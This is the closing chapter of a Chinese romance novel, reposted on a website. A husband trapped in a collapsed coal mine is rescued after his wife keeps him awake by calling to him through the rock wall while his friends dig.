「是的,老板,我会依照您的指示,每天向您报告。」矿区经理保证一定精确掌控进度。

「还有,船期方面如果需要配合,可以协调航运部的经理调派船只,我会事先交代下去。」

「是,老板。」

「另外,不要太苛责工人,他们只是想要挣一口饭吃。」

「是,老板。」

「还有──」

砰!

辛海泽事情才交代到一半,地底突然传来一声巨响,似乎有什么地方被冲垮。

「怎么回事?!」

接着他们四周开始崩落、塌陷,碎石毁天灭地从他们头顶掉下来。

啪啪啪啪!密集的程度,令人毛骨悚然。

「矿坑要塌了,快逃!」前方的工人疯狂喊道,拚命朝坑口跑。

「老板,快跑、快跑啊!」

矿区经理也在喊,但他们根本来不及逃跑,只能眼睁睁地看着坑口被碎石堵住。


「安琪!」

辛海泽仓皇的呼喊声,穿透金安琪的脑门,将她从睡梦中惊醒,她像弹簧一样地从床上爬起来,起床后满身大汗。

「呼!呼!」

她心有余悸地按着胸口,不明白自己怎么会作了这么一个不吉利的梦。梦中她的丈夫被困在黑暗中,一直呼唤她的名字。

她转头看向天空,晴空万里无云,天气甚至比他们分开前一天还要好,可她却没来由地觉得恐惧,究竟是为什么?

头好痛。

自从辛海泽去矿区以后,她就没一天睡得安稳,时常在半夜醒来,今天已经是第三天了……

叩叩叩。

门口传来敲门声,她下床开门,是姆妈。

「太太。」姆妈的脸色看起来很苍白,她也没睡好吗?

「有什么事吗,颜妈?」

「葛小姐找妳。」姆妈似乎有什么话想跟她说又不敢说,真的好怪。

「依依?」

姆妈点头。

「我换件衣服以后马上下去,麻烦您先跟依依说一声。」刚好她也想找她聊聊,她们还真有默契。

「好的,太太。」姆妈随口应了一声,便下楼去了。

金安琪越想越觉得奇怪,姆妈很少这么沈默的,莫非真的发生了什么事?

她不想要胡思乱想,可是连日来的失眠,加上姆妈奇怪的态度,都让她忍不住朝最坏的方向去想。

「依依──」她换好衣服冲下楼,本来想抓住她一股脑儿诉苦,却意外看见其他人。

「你们……怎么都来了?」除了她丈夫之外,四龙全到齐,还有她的好朋友;葛依依。

「安琪,我们有话要告诉妳,妳先冷静下来。」葛依依还没开口,就先打预防针,金安琪心中的疑虑更深了。

「你们有什么话要告诉我?」她看着韦皓天,再看看傅尔宣,他们都一脸落寞,其他两个人也是一样。

「呃……」葛依依张大嘴,呃了半天开不了口,最后是由韦皓天接口。

「海泽的矿坑崩塌了,他被埋在矿坑里面。」

只是说了是说了,金安琪却宁愿他没开口,不要告诉她这个残忍的消息。

「你骗我,海泽不会被埋在矿坑里面,他只是去解决劳资纠纷,不会下矿坑。」她没忘记他说过的话,每字每句都牢记在心底。

「劳资纠纷太严重,煤工们不肯相信海泽并没有意思要关闭矿坑,非要他亲自下矿坑,他们才会相信。海泽为了取信于煤工,不得已只好下矿坑了。」

若顺利按照他原先的计划,的确是不会下矿坑,但是现场的突发状况谁也无法预料,所以海泽才会坚持不带她去,就是为了防范这类意外。

「没想到矿坑里面的渗水太严重,矿坑内部的支架承受不了压力,因此而被冲垮,海泽他来不及逃命,于是、于是……」

就被埋在矿坑里面。

尽管每一个人都说辛海泽被埋在矿坑里面,但金安琪始终不愿意相信,她亲爱的丈夫再也不会回来了,这不会是真的。

「安琪,妳一定要冷静下来。」葛依依劝她。「妳知道海泽他最在乎妳,妳要为了他保重身体,也不能想不开,知道吗?」

大家就怕她知道这件事以后会做傻事,才赶着在她从别的管道得到消息之前,一起亲口告诉金安琪,顺便规劝她。

「等一下我们四个人就要一起赶去矿区,我们只是来这里跟妳说一声,希望妳保重,不要让还在矿坑里面的海泽担心。」

「是啊,说不定会有奇迹发生。」

虽然大家嘴里这么说,但其实他们都心知肚明,这种机会微乎其微,海泽能够安然生还的机率几乎等于零。

金安琪也知道,每次矿坑崩塌都会死很多人,只有少数一些人能够活下来,她要她的丈夫是那少数人之一,非要不可!

「我跟你们去。」她才没有空哀伤,也拒绝哀伤,她要去救她丈夫回来!

「安琪。」

「我要去矿坑,我相信海泽一定没死,他说过要照顾我一辈子,不会这么轻易死掉。」他曾经逃过死神的追缉,这次一定也可以,她对他有信心。

「安琪,矿坑那边很危险,妳还是不要──」

「让她去,依依。」傅尔宣阻止他老婆往下说。「安琪说得对,海泽不会轻易死掉。现在的海泽,一定很需要安琪帮他度过难关,妳就让她去吧!」

大家都担心金安琪,因为她看起来安静又脆弱,彷佛随便一个打击就可以把她击倒,可事实不是这么一回事,必要的时候,她比谁都坚强。

「谢谢你们。」金安琪沈稳的态度,完全表现出女性的坚强。

只要是为了心爱的人,柔弱的花朵可以瞬间化身为勇敢的战士,这就是女人。


「那边挖开了没有?继续挖!」

矿区一片混乱,到处布满了工人,每个人都人手一支铲子,拚命铲土。

他们在跟时间赛跑,因为只要他们手脚慢一分钟,矿坑里头的人的生存机会就减少一分钟,为此大家拚命抢救,只要能救出一个人,再怎么辛苦都值得。

「这边,集中力量住这边挖!」有人发现有一处岩壁似乎特别薄,要大家从那里下手。

「喂,快过来这边!」其中一个工人挥挥手,几个原本在另一头挖掘的工人赶紧过去支援。

金安琪从头到尾就捂着嘴巴,目睹这一切。韦皓天拍拍她的肩膀鼓励金安琪,他知道这对她来说有多么不容易,毕竟被埋在里面的是她丈夫。

而这一刻对四龙们而言,也同样困难。

他们一起度过人生中最意气风发的岁月,一起站在华懋饭店的会客厅俯看脚底下的滔滔江水,现在他们的好朋友却被埋在矿坑里面,他们同样不能接受,同样仰望奇迹。

奇迹……

被埋在矿坑里面的辛海泽,多希望奇迹能够发生,但这却是不可能的事。

他背靠着岩壁喘息,感觉矿坑里面的空气越来越稀薄,他越来越吸不到氧气。

「呼!呼!」他试着张大嘴,将所剩不多的氧气统统抓到嘴里,才发现他做不到,他已经没有力气。

他慢慢举起手,想看他手指上的结婚戒指,但矿坑里面一片漆黑,他什么都看不到,只得又颓然放下。

辛海泽的眼皮,因为缺氧而慢慢变得沉重。他知道他千万不能合眼,只要他一闭上眼睛,就再也不会醒来,如此他就看不到他的安琪儿了。

「这边有一处空隙,大家快挖!」

他可以听见外面的声音,七嘴八舌要大家怎么样又怎么样的,但他总以为那是他自己的幻想,自从矿坑崩塌以后,他的耳边就一直出现同样的叫声,但没一次成真。

他就要死了吗?

他不甘心。

他好不容易才找到他的安琪儿,经历了一段梦一般美好的岁月,上天就要收回他的命,他怎么样都不会甘心。

叩叩叩!

「里面有人吗?」

外面的人又在敲岩壁,这次的位置正好就敲在辛海泽靠着的那一块,他被敲得有些烦了,以为又是幻想,就不太想埋它。

「我来。」

这个时候,外头传来一个轻柔的嗓音,乍听之下很像金安琪,这下子辛海泽更加确定自己是在幻想,他的安琪儿不可能出现在这个地方。

「海泽,你在里面吗?」

她大声呼唤辛海泽的名字,辛海泽的身体立刻僵住,这是安琪的声音没有错!

「海泽,如果你听见我的声音就问答我,如果说不出话来也没关系,你只要敲两下,我就知道是你了。」金安琪将耳朵紧紧贴住岩壁,唯恐错过任何一个细微的声音。

矿坑中的辛海泽,根本已经完全没行力气,但为了他的安琪儿,他还是勉强从地上拿起小石块,朝岩壁敲两下。

这两下微弱的敲击,对金安琪来说无疑是天籁之音。只见她转头对围绕在她身边的四龙说──

「真的是他,他还活着!」

现场立即响起一阵欢呼,加紧脚步挖掘。

「继续跟他讲话,让他保持清醒,千万别让他睡着了。」韦皓天担心矿坑里剩余的空气,无法维持到突破岩壁,要金安琪再加油。

「嗯。」她本来就有一肚子的话想对他说,她要让他知道她有多爱他,多需要他。

「海泽,你千万不能睡着,听见了没有?!」她对岩壁吼,矿坑里面的辛海泽忍不住微笑,看不出来,她还挺凶的。

「你答应过我,等船加盖了健身房,要带我去玩的,你要是敢爽约,我一辈子都不会原谅你!」

……没错,他是答应过她这件事,也正积极筹备之中,她的记性可真好,他说过的每一句话都记得。

「你还说过,要照顾我一辈子,我们还打过勾勾,你不可以在这个时候赖皮!」

……也对,他们是打过勾勾,立下这个永生永世的承诺,他若做不到,就不配做男人,也不配叫辛海泽了。

「我爱你,海泽。」

唯独这句话,他还没当面听她说过。

「我对你的爱,言语说不出来。」因为她也是一个不擅长表达的人。「但是只要你活着,往后的岁月,我会天天对你说这一句话,让你知道我有多爱你。」

他们都经历过艰苦的前半生,好不容易在上天的安排下找到彼此,只要他不放弃,他们必然能够携手走下去,直到白头。

「安琪……」他不会放弃的,为了他,害羞的她竟然当众表达她的爱意,说什么他都不会放弃。

「安琪!」为了她,就算用尽所有方法,他都一定要想办法活下来,不让死神将他带走。

无论神鬼,都不能将他们分开。

他们早有约定,也早已决定,今生今世都要在一起!

受到金安琪的鼓励,也真的发生了奇迹,辛海泽竟找回了力气与勇气,徒手挖岩壁,和外面努力挖掘的人来个里应外合,一脚把死神踢开。

就听见「啪」一声,坚强的岩壁终于被敲开一个洞,透进宝贵的空气。

金安琪在韦皓天的搀扶下后退,双手紧紧捂住胸口,看着她最爱的丈夫,从矿坑里面走出来。

「海泽!」她冲进他的怀里,积压多时的泪水直到此刻才敢让它崩堤,毫无保留的流下。

「安琪!」辛海泽紧紧搂着他今生今世的最爱,不敢相信她真的在他眼前,她的爱拯救了他。

「妳不该碰我的,我很脏。」被埋在矿坑两天,跟个泥巴人没两样,脏死了。

「我说过,就算你是个挑粪的,我也一样爱你。」金安琪笑苦摇头,接着拉下他的脸,当众吻他。

这是最美的画面,任何一位国际级的绘画大师都画不出这样的杰作,因为这里头有着满满的爱。

「皓天、尔宣、慕唐、维钧。」大家全都来了。

此外,还有不可分割的友谊。

大家一人给他一拳,共喜他平安生还。

辛海泽对他们笑一笑,一切尽在不言中。

这就是五龙,没有人会被放弃,也没有人能够代替。

【全书完】


  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]